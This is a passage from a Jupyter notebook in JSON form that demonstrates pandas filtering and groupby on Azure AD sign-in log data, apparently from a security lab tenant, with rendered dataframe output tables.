       "      <td>SignInLogs</td>\n",
       "      <td>0</td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td>0</td>\n",
       "      <td>9558f30b-a1db-4676-a586-7db608bdaa69</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td></td>\n",
       "      <td>On-Premises Directory Synchronization Service Account</td>\n",
       "      <td>4</td>\n",
       "      <td>US</td>\n",
       "      <td>Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com</td>\n",
       "      <td>Microsoft Azure Active Directory Connect</td>\n",
       "      <td>cb1056e2-e479-49de-ae31-7812af012ed8</td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T10:55:21.6485011+00:00\",\\r\\n    \"authe...</td>\n",
       "      <td></td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"key\": \"IsCAEToken\",\\r\\n    \"value\": \"False\"\\r\\n  }\\r\\n]</td>\n",
       "      <td>singleFactorAuthentication</td>\n",
       "      <td>...</td>\n",
       "      <td>none</td>\n",
       "      <td>none</td>\n",
       "      <td>Windows Azure Active Directory</td>\n",
       "      <td>00000002-0000-0000-c000-000000000000</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>{'errorCode': 0}</td>\n",
       "      <td></td>\n",
       "      <td>AzureAD</td>\n",
       "      <td></td>\n",
       "      <td>On-Premises Directory Synchronization Service Account</td>\n",
       "      <td>2235a468-ad9c-4375-8008-0a7be76994a7</td>\n",
       "      <td>sync_aadcon_a5225d32ba79@seccxpninja.onmicrosoft.com</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>Member</td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td>Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com</td>\n",
       "      <td></td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>SigninLogs</td>\n",
       "      <td>Sucess</td>\n",
       "      <td>38.73078155517578</td>\n",
       "      <td>-78.17196655273438</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "      <td>Azure AD</td>\n",
       "      <td>2021-06-28 10:55:26.252000+00:00</td>\n",
       "      <td>/tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam</td>\n",
       "      <td>Sign-in activity</td>\n",
       "      <td>1.0</td>\n",
       "      <td>SignInLogs</td>\n",
       "      <td>0</td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td>0</td>\n",
       "      <td>dac1edbe-1985-4f78-8d20-f4725e28b865</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td></td>\n",
       "      <td>On-Premises Directory Synchronization Service Account</td>\n",
       "      <td>4</td>\n",
       "      <td>US</td>\n",
       "      <td>Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com</td>\n",
       "      <td>Microsoft Azure Active Directory Connect</td>\n",
       "      <td>cb1056e2-e479-49de-ae31-7812af012ed8</td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T10:55:26.2522747+00:00\",\\r\\n    \"authe...</td>\n",
       "      <td></td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"key\": \"IsCAEToken\",\\r\\n    \"value\": \"False\"\\r\\n  }\\r\\n]</td>\n",
       "      <td>singleFactorAuthentication</td>\n",
       "      <td>...</td>\n",
       "      <td>none</td>\n",
       "      <td>none</td>\n",
       "      <td>Windows Azure Active Directory</td>\n",
       "      <td>00000002-0000-0000-c000-000000000000</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>{'errorCode': 0}</td>\n",
       "      <td></td>\n",
       "      <td>AzureAD</td>\n",
       "      <td></td>\n",
       "      <td>On-Premises Directory Synchronization Service Account</td>\n",
       "      <td>2235a468-ad9c-4375-8008-0a7be76994a7</td>\n",
       "      <td>sync_aadcon_a5225d32ba79@seccxpninja.onmicrosoft.com</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>Member</td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td>Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com</td>\n",
       "      <td></td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>SigninLogs</td>\n",
       "      <td>Sucess</td>\n",
       "      <td>38.7130012512207</td>\n",
       "      <td>-78.15899658203125</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "      <td>Azure AD</td>\n",
       "      <td>2021-06-28 11:36:15.896000+00:00</td>\n",
       "      <td>/tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam</td>\n",
       "      <td>Sign-in activity</td>\n",
       "      <td>1.0</td>\n",
       "      <td>SignInLogs</td>\n",
       "      <td>0</td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td>0</td>\n",
       "      <td>974ea11a-7ed4-4cfd-b86b-d3d4b5bd547f</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td></td>\n",
       "      <td>Arseny Vasilev</td>\n",
       "      <td>4</td>\n",
       "      <td>RU</td>\n",
       "      <td></td>\n",
       "      <td>Azure Portal</td>\n",
       "      <td>c44b4083-3bb0-49c1-b47d-974e53cbdf3c</td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T11:36:15.8961297+00:00\",\\r\\n    \"authe...</td>\n",
       "      <td></td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"key\": \"IsCAEToken\",\\r\\n    \"value\": \"False\"\\r\\n  }\\r\\n]</td>\n",
       "      <td>singleFactorAuthentication</td>\n",
       "      <td>...</td>\n",
       "      <td>none</td>\n",
       "      <td>none</td>\n",
       "      <td>Windows Azure Service Management API</td>\n",
       "      <td>797f4846-ba00-4fd7-ba43-dac1f8f63013</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>{'errorCode': 0}</td>\n",
       "      <td></td>\n",
       "      <td>AzureAD</td>\n",
       "      <td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.447...</td>\n",
       "      <td>Arseny Vasilev</td>\n",
       "      <td>9267d02c-5f76-40a9-a9eb-b686f3ca47aa</td>\n",
       "      <td>avasilev@viacode.com</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>Guest</td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>5fccd68a-e65e-46ae-96b1-2d896d680249</td>\n",
       "      <td>SigninLogs</td>\n",
       "      <td>Sucess</td>\n",
       "      <td>59.93904113769531</td>\n",
       "      <td>30.3157901763916</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "      <td>Azure AD</td>\n",
       "      <td>2021-06-28 12:24:50.274000+00:00</td>\n",
       "      <td>/tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam</td>\n",
       "      <td>Sign-in activity</td>\n",
       "      <td>1.0</td>\n",
       "      <td>SignInLogs</td>\n",
       "      <td>0</td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td>0</td>\n",
       "      <td>d1c11047-9e6d-4814-80fc-334c453582a3</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td></td>\n",
       "      <td>Koby Koren</td>\n",
       "      <td>4</td>\n",
       "      <td>IL</td>\n",
       "      <td></td>\n",
       "      <td>Azure Portal</td>\n",
       "      <td>c44b4083-3bb0-49c1-b47d-974e53cbdf3c</td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T12:24:50.2743176+00:00\",\\r\\n    \"authe...</td>\n",
       "      <td></td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"key\": \"Login Hint Present\",\\r\\n    \"value\": \"True\"\\r\\n  },\\r\\n  {\\r\\n    \"key\":...</td>\n",
       "      <td>singleFactorAuthentication</td>\n",
       "      <td>...</td>\n",
       "      <td>none</td>\n",
       "      <td>none</td>\n",
       "      <td>Windows Azure Service Management API</td>\n",
       "      <td>797f4846-ba00-4fd7-ba43-dac1f8f63013</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>{'errorCode': 0}</td>\n",
       "      <td></td>\n",
       "      <td>AzureAD</td>\n",
       "      <td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.447...</td>\n",
       "      <td>Koby Koren</td>\n",
       "      <td>da48f21e-2f91-4c6a-9d30-56fd10a24672</td>\n",
       "      <td>kobyk@microsoft.com</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>Guest</td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>72f988bf-86f1-41af-91ab-2d7cd011db47</td>\n",
       "      <td>SigninLogs</td>\n",
       "      <td>Sucess</td>\n",
       "      <td>32.16241073608399</td>\n",
       "      <td>34.84468078613281</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "      <td>Azure AD</td>\n",
       "      <td>2021-06-28 12:24:44.957000+00:00</td>\n",
       "      <td>/tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam</td>\n",
       "      <td>Sign-in activity</td>\n",
       "      <td>1.0</td>\n",
       "      <td>SignInLogs</td>\n",
       "      <td>0</td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td>0</td>\n",
       "      <td>60855931-eec4-466c-a24e-ba630c087a3e</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td></td>\n",
       "      <td>Koby Koren</td>\n",
       "      <td>4</td>\n",
       "      <td>IL</td>\n",
       "      <td></td>\n",
       "      <td>Azure Portal</td>\n",
       "      <td>c44b4083-3bb0-49c1-b47d-974e53cbdf3c</td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T12:24:44.9579314+00:00\",\\r\\n    \"authe...</td>\n",
       "      <td></td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"key\": \"Login Hint Present\",\\r\\n    \"value\": \"True\"\\r\\n  },\\r\\n  {\\r\\n    \"key\":...</td>\n",
       "      <td>singleFactorAuthentication</td>\n",
       "      <td>...</td>\n",
       "      <td>none</td>\n",
       "      <td>none</td>\n",
       "      <td>Windows Azure Service Management API</td>\n",
       "      <td>797f4846-ba00-4fd7-ba43-dac1f8f63013</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>{'errorCode': 0, 'additionalDetails': 'MFA requirement satisfied by claim in the token'}</td>\n",
       "      <td></td>\n",
       "      <td>AzureAD</td>\n",
       "      <td>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.447...</td>\n",
       "      <td>Koby Koren</td>\n",
       "      <td>da48f21e-2f91-4c6a-9d30-56fd10a24672</td>\n",
       "      <td>kobyk@microsoft.com</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>Guest</td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>72f988bf-86f1-41af-91ab-2d7cd011db47</td>\n",
       "      <td>SigninLogs</td>\n",
       "      <td>Sucess</td>\n",
       "      <td>32.16241073608399</td>\n",
       "      <td>34.84468078613281</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "<p>5 rows × 69 columns</p>\n",
       "</div>"
      ],
      "text/plain": [
       "                               TenantId SourceSystem  \\\n",
       "0  8ecf8077-cf51-4820-aadd-14040956f35d     Azure AD   \n",
       "1  8ecf8077-cf51-4820-aadd-14040956f35d     Azure AD   \n",
       "2  8ecf8077-cf51-4820-aadd-14040956f35d     Azure AD   \n",
       "3  8ecf8077-cf51-4820-aadd-14040956f35d     Azure AD   \n",
       "4  8ecf8077-cf51-4820-aadd-14040956f35d     Azure AD   \n",
       "\n",
       "                     TimeGenerated  \\\n",
       "0 2021-06-28 10:55:21.648000+00:00   \n",
       "1 2021-06-28 10:55:26.252000+00:00   \n",
       "2 2021-06-28 11:36:15.896000+00:00   \n",
       "3 2021-06-28 12:24:50.274000+00:00   \n",
       "4 2021-06-28 12:24:44.957000+00:00   \n",
       "\n",
       "                                                                 ResourceId  \\\n",
       "0  /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam   \n",
       "1  /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam   \n",
       "2  /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam   \n",
       "3  /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam   \n",
       "4  /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam   \n",
       "\n",
       "      OperationName OperationVersion    Category ResultType ResultSignature  \\\n",
       "0  Sign-in activity              1.0  SignInLogs          0            None   \n",
       "1  Sign-in activity              1.0  SignInLogs          0            None   \n",
       "2  Sign-in activity              1.0  SignInLogs          0            None   \n",
       "3  Sign-in activity              1.0  SignInLogs          0            None   \n",
       "4  Sign-in activity              1.0  SignInLogs          0            None   \n",
       "\n",
       "  ResultDescription  DurationMs                         CorrelationId  \\\n",
       "0                             0  9558f30b-a1db-4676-a586-7db608bdaa69   \n",
       "1                             0  dac1edbe-1985-4f78-8d20-f4725e28b865   \n",
       "2                             0  974ea11a-7ed4-4cfd-b86b-d3d4b5bd547f   \n",
       "3                             0  d1c11047-9e6d-4814-80fc-334c453582a3   \n",
       "4                             0  60855931-eec4-466c-a24e-ba630c087a3e   \n",
       "\n",
       "           Resource     ResourceGroup ResourceProvider  \\\n",
       "0  Microsoft.aadiam  Microsoft.aadiam                    \n",
       "1  Microsoft.aadiam  Microsoft.aadiam                    \n",
       "2  Microsoft.aadiam  Microsoft.aadiam                    \n",
       "3  Microsoft.aadiam  Microsoft.aadiam                    \n",
       "4  Microsoft.aadiam  Microsoft.aadiam                    \n",
       "\n",
       "                                                Identity Level Location  \\\n",
       "0  On-Premises Directory Synchronization Service Account     4       US   \n",
       "1  On-Premises Directory Synchronization Service Account     4       US   \n",
       "2                                         Arseny Vasilev     4       RU   \n",
       "3                                             Koby Koren     4       IL   \n",
       "4                                             Koby Koren     4       IL   \n",
       "\n",
       "                                    AlternateSignInName  \\\n",
       "0  Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com   \n",
       "1  Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com   \n",
       "2                                                         \n",
       "3                                                         \n",
       "4                                                         \n",
       "\n",
       "                             AppDisplayName  \\\n",
       "0  Microsoft Azure Active Directory Connect   \n",
       "1  Microsoft Azure Active Directory Connect   \n",
       "2                              Azure Portal   \n",
       "3                              Azure Portal   \n",
       "4                              Azure Portal   \n",
       "\n",
       "                                  AppId  \\\n",
       "0  cb1056e2-e479-49de-ae31-7812af012ed8   \n",
       "1  cb1056e2-e479-49de-ae31-7812af012ed8   \n",
       "2  c44b4083-3bb0-49c1-b47d-974e53cbdf3c   \n",
       "3  c44b4083-3bb0-49c1-b47d-974e53cbdf3c   \n",
       "4  c44b4083-3bb0-49c1-b47d-974e53cbdf3c   \n",
       "\n",
       "                                                                                 AuthenticationDetails  \\\n",
       "0  [\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T10:55:21.6485011+00:00\",\\r\\n    \"authe...   \n",
       "1  [\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T10:55:26.2522747+00:00\",\\r\\n    \"authe...   \n",
       "2  [\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T11:36:15.8961297+00:00\",\\r\\n    \"authe...   \n",
       "3  [\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T12:24:50.2743176+00:00\",\\r\\n    \"authe...   \n",
       "4  [\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T12:24:44.9579314+00:00\",\\r\\n    \"authe...   \n",
       "\n",
       "  AuthenticationMethodsUsed  \\\n",
       "0                             \n",
       "1                             \n",
       "2                             \n",
       "3                             \n",
       "4                             \n",
       "\n",
       "                                                                       AuthenticationProcessingDetails  \\\n",
       "0                             [\\r\\n  {\\r\\n    \"key\": \"IsCAEToken\",\\r\\n    \"value\": \"False\"\\r\\n  }\\r\\n]   \n",
       "1                             [\\r\\n  {\\r\\n    \"key\": \"IsCAEToken\",\\r\\n    \"value\": \"False\"\\r\\n  }\\r\\n]   \n",
       "2                             [\\r\\n  {\\r\\n    \"key\": \"IsCAEToken\",\\r\\n    \"value\": \"False\"\\r\\n  }\\r\\n]   \n",
       "3  [\\r\\n  {\\r\\n    \"key\": \"Login Hint Present\",\\r\\n    \"value\": \"True\"\\r\\n  },\\r\\n  {\\r\\n    \"key\":...   \n",
       "4  [\\r\\n  {\\r\\n    \"key\": \"Login Hint Present\",\\r\\n    \"value\": \"True\"\\r\\n  },\\r\\n  {\\r\\n    \"key\":...   \n",
       "\n",
       "    AuthenticationRequirement  ... RiskLevelDuringSignIn RiskState  \\\n",
       "0  singleFactorAuthentication  ...                  none      none   \n",
       "1  singleFactorAuthentication  ...                  none      none   \n",
       "2  singleFactorAuthentication  ...                  none      none   \n",
       "3  singleFactorAuthentication  ...                  none      none   \n",
       "4  singleFactorAuthentication  ...                  none      none   \n",
       "\n",
       "                    ResourceDisplayName                      ResourceIdentity  \\\n",
       "0        Windows Azure Active Directory  00000002-0000-0000-c000-000000000000   \n",
       "1        Windows Azure Active Directory  00000002-0000-0000-c000-000000000000   \n",
       "2  Windows Azure Service Management API  797f4846-ba00-4fd7-ba43-dac1f8f63013   \n",
       "3  Windows Azure Service Management API  797f4846-ba00-4fd7-ba43-dac1f8f63013   \n",
       "4  Windows Azure Service Management API  797f4846-ba00-4fd7-ba43-dac1f8f63013   \n",
       "\n",
       "  ServicePrincipalId ServicePrincipalName  \\\n",
       "0                                           \n",
       "1                                           \n",
       "2                                           \n",
       "3                                           \n",
       "4                                           \n",
       "\n",
       "                                                                                     Status  \\\n",
       "0                                                                          {'errorCode': 0}   \n",
       "1                                                                          {'errorCode': 0}   \n",
       "2                                                                          {'errorCode': 0}   \n",
       "3                                                                          {'errorCode': 0}   \n",
       "4  {'errorCode': 0, 'additionalDetails': 'MFA requirement satisfied by claim in the token'}   \n",
       "\n",
       "  TokenIssuerName TokenIssuerType  \\\n",
       "0                         AzureAD   \n",
       "1                         AzureAD   \n",
       "2                         AzureAD   \n",
       "3                         AzureAD   \n",
       "4                         AzureAD   \n",
       "\n",
       "                                                                                             UserAgent  \\\n",
       "0                                                                                                        \n",
       "1                                                                                                        \n",
       "2  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.447...   \n",
       "3  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.447...   \n",
       "4  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.447...   \n",
       "\n",
       "                                         UserDisplayName  \\\n",
       "0  On-Premises Directory Synchronization Service Account   \n",
       "1  On-Premises Directory Synchronization Service Account   \n",
       "2                                         Arseny Vasilev   \n",
       "3                                             Koby Koren   \n",
       "4                                             Koby Koren   \n",
       "\n",
       "                                 UserId  \\\n",
       "0  2235a468-ad9c-4375-8008-0a7be76994a7   \n",
       "1  2235a468-ad9c-4375-8008-0a7be76994a7   \n",
       "2  9267d02c-5f76-40a9-a9eb-b686f3ca47aa   \n",
       "3  da48f21e-2f91-4c6a-9d30-56fd10a24672   \n",
       "4  da48f21e-2f91-4c6a-9d30-56fd10a24672   \n",
       "\n",
       "                                      UserPrincipalName  \\\n",
       "0  sync_aadcon_a5225d32ba79@seccxpninja.onmicrosoft.com   \n",
       "1  sync_aadcon_a5225d32ba79@seccxpninja.onmicrosoft.com   \n",
       "2                                  avasilev@viacode.com   \n",
       "3                                   kobyk@microsoft.com   \n",
       "4                                   kobyk@microsoft.com   \n",
       "\n",
       "                            AADTenantId UserType FlaggedForReview  \\\n",
       "0  4b2462a4-bbee-495a-a0e1-f23ae524cc9c   Member             None   \n",
       "1  4b2462a4-bbee-495a-a0e1-f23ae524cc9c   Member             None   \n",
       "2  4b2462a4-bbee-495a-a0e1-f23ae524cc9c    Guest             None   \n",
       "3  4b2462a4-bbee-495a-a0e1-f23ae524cc9c    Guest             None   \n",
       "4  4b2462a4-bbee-495a-a0e1-f23ae524cc9c    Guest             None   \n",
       "\n",
       "  IPAddressFromResourceProvider  \\\n",
       "0                                 \n",
       "1                                 \n",
       "2                                 \n",
       "3                                 \n",
       "4                                 \n",
       "\n",
       "                                       SignInIdentifier SignInIdentifierType  \\\n",
       "0  Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com                        \n",
       "1  Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com                        \n",
       "2                                                                              \n",
       "3                                                                              \n",
       "4                                                                              \n",
       "\n",
       "                       ResourceTenantId                          HomeTenantId  \\\n",
       "0  4b2462a4-bbee-495a-a0e1-f23ae524cc9c  4b2462a4-bbee-495a-a0e1-f23ae524cc9c   \n",
       "1  4b2462a4-bbee-495a-a0e1-f23ae524cc9c  4b2462a4-bbee-495a-a0e1-f23ae524cc9c   \n",
       "2  4b2462a4-bbee-495a-a0e1-f23ae524cc9c  5fccd68a-e65e-46ae-96b1-2d896d680249   \n",
       "3  4b2462a4-bbee-495a-a0e1-f23ae524cc9c  72f988bf-86f1-41af-91ab-2d7cd011db47   \n",
       "4  4b2462a4-bbee-495a-a0e1-f23ae524cc9c  72f988bf-86f1-41af-91ab-2d7cd011db47   \n",
       "\n",
       "         Type  Result           Latitude           Longitude  \n",
       "0  SigninLogs  Sucess  38.73078155517578  -78.17196655273438  \n",
       "1  SigninLogs  Sucess   38.7130012512207  -78.15899658203125  \n",
       "2  SigninLogs  Sucess  59.93904113769531    30.3157901763916  \n",
       "3  SigninLogs  Sucess  32.16241073608399   34.84468078613281  \n",
       "4  SigninLogs  Sucess  32.16241073608399   34.84468078613281  \n",
       "\n",
       "[5 rows x 69 columns]"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "md(\"Display rows where ClientAppUsed is either 'Browser' or 'Mobile Apps and Desktop clients':\", \"bold\")\r\n",
    "filtered_df = data[data[\"ClientAppUsed\"].isin([\"Browser\", \"Mobile Apps and Desktop clients\"])].head()\r\n",
    "display(filtered_df)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Grouping and calculating aggregate totals on the groups is done using the `groupby` function."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 47,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>TenantId</th>\n",
       "      <th>SourceSystem</th>\n",
       "      <th>TimeGenerated</th>\n",
       "      <th>ResourceId</th>\n",
       "      <th>OperationName</th>\n",
       "      <th>OperationVersion</th>\n",
       "      <th>Category</th>\n",
       "      <th>ResultType</th>\n",
       "      <th>ResultSignature</th>\n",
       "      <th>ResultDescription</th>\n",
       "      <th>DurationMs</th>\n",
       "      <th>CorrelationId</th>\n",
       "      <th>Resource</th>\n",
       "      <th>ResourceGroup</th>\n",
       "      <th>ResourceProvider</th>\n",
       "      <th>Identity</th>\n",
       "      <th>Level</th>\n",
       "      <th>Location</th>\n",
       "      <th>AlternateSignInName</th>\n",
       "      <th>AppId</th>\n",
       "      <th>AuthenticationDetails</th>\n",
       "      <th>AuthenticationMethodsUsed</th>\n",
       "      <th>AuthenticationProcessingDetails</th>\n",
       "      <th>AuthenticationRequirement</th>\n",
       "      <th>AuthenticationRequirementPolicies</th>\n",
       "      <th>...</th>\n",
       "      <th>RiskLevelDuringSignIn</th>\n",
       "      <th>RiskState</th>\n",
       "      <th>ResourceDisplayName</th>\n",
       "      <th>ResourceIdentity</th>\n",
       "      <th>ServicePrincipalId</th>\n",
       "      <th>ServicePrincipalName</th>\n",
       "      <th>Status</th>\n",
       "      <th>TokenIssuerName</th>\n",
       "      <th>TokenIssuerType</th>\n",
       "      <th>UserAgent</th>\n",
       "      <th>UserDisplayName</th>\n",
       "      <th>UserId</th>\n",
       "      <th>UserPrincipalName</th>\n",
       "      <th>AADTenantId</th>\n",
       "      <th>UserType</th>\n",
       "      <th>FlaggedForReview</th>\n",
       "      <th>IPAddressFromResourceProvider</th>\n",
       "      <th>SignInIdentifier</th>\n",
       "      <th>SignInIdentifierType</th>\n",
       "      <th>ResourceTenantId</th>\n",
       "      <th>HomeTenantId</th>\n",
       "      <th>Type</th>\n",
       "      <th>Result</th>\n",
       "      <th>Latitude</th>\n",
       "      <th>Longitude</th>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>AppDisplayName</th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
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       "      <th></th>\n",
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       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th></th>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>...</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
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       "      <td>1</td>\n",
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       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>ACOM Azure Website</th>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
       "      <td>3</td>\n",
